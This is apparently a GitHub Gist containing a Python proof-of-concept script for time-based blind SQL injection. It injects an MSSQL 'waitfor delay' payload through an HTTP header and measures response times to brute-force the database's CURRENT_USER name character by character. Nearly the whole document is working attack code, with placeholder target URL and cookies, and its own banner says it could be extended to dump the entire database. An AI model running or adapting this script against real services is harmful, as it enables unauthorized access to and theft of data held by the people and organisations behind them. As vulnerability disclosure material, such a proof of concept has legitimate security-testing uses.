Last active
April 10, 2024 15:22
-
-
Save krnbhargav/f2e2d77639d977b7e5c0142a0bb42df6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from httpx import * | |
| from sys import exit | |
| import string | |
| client =Client(base_url='<url>',cookies={"<name1>":"<value1>"},follow_redirects=False) | |
| api = '<endpoint>' | |
| temp_json = json={"<field1>":"<field2>"} | |
| def dumplength(l): | |
| '''function to find the length of CURRENT_USER''' | |
| payload = f"; if (LEN(CURRENT_USER) = {l}) waitfor delay '0:0:5' --" | |
| try: | |
| r=client.post(api,headers={'Applicationname':payload},json=temp_json) | |
| if r.status_code== 200: | |
| timetook = r.elapsed.total_seconds() | |
| if(timetook >= 5): | |
| return True | |
| else: | |
| print('[!] status code != 200') | |
| except Exception as e: | |
| print(e) | |
| return False | |
| def dumpusername(i,c): | |
| '''function to dump length of CURRENT_USER''' | |
| payload = f"; if (SUBSTRING((SELECT CURRENT_USER),{i},1) = '{c}') waitfor delay '0:0:5' --" | |
| try: | |
| r=client.post(api,headers={'Applicationname':payload},json=temp_json) | |
| if r.status_code== 200: | |
| timetook = r.elapsed.total_seconds() | |
| if(timetook >= 5): | |
| return True | |
| else: | |
| print('[!] status code != 200') | |
| except Exception as e: | |
| print(e) | |
| return False | |
| if __name__ == '__main__': | |
| print("""[!] This script is only for POC purpose,\nThere is no limit to what attacker can do\nWorst case scenerio is dumping whole database.""") | |
| print("[*] Finding the length of current user of database") | |
| l = 0 | |
| i = 0 | |
| while True: | |
| try: | |
| if(dumplength(i)): | |
| l = i | |
| print(f'[+] Found length of CURRENT_USER : {l}') | |
| else: | |
| i+=1 | |
| except KeyboardInterrupt as e: | |
| break | |
| i = 1 | |
| result = "" | |
| character_to_bruteforce ="-_. " + string.ascii_letters + string.digits | |
| if (l != 0): | |
| print("[*] Dumping username") | |
| while (i<=l): | |
| try: | |
| for c in character_to_bruteforce: | |
| if(dumpusername(i,c)): | |
| result+=c | |
| i+=1 | |
| print(f'[*] Found : {result}') | |
| continue | |
| except KeyboardInterrupt as e: | |
| client.close() | |
| break | |
| client.close() | |
| else: | |
| client.close() | |
| exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment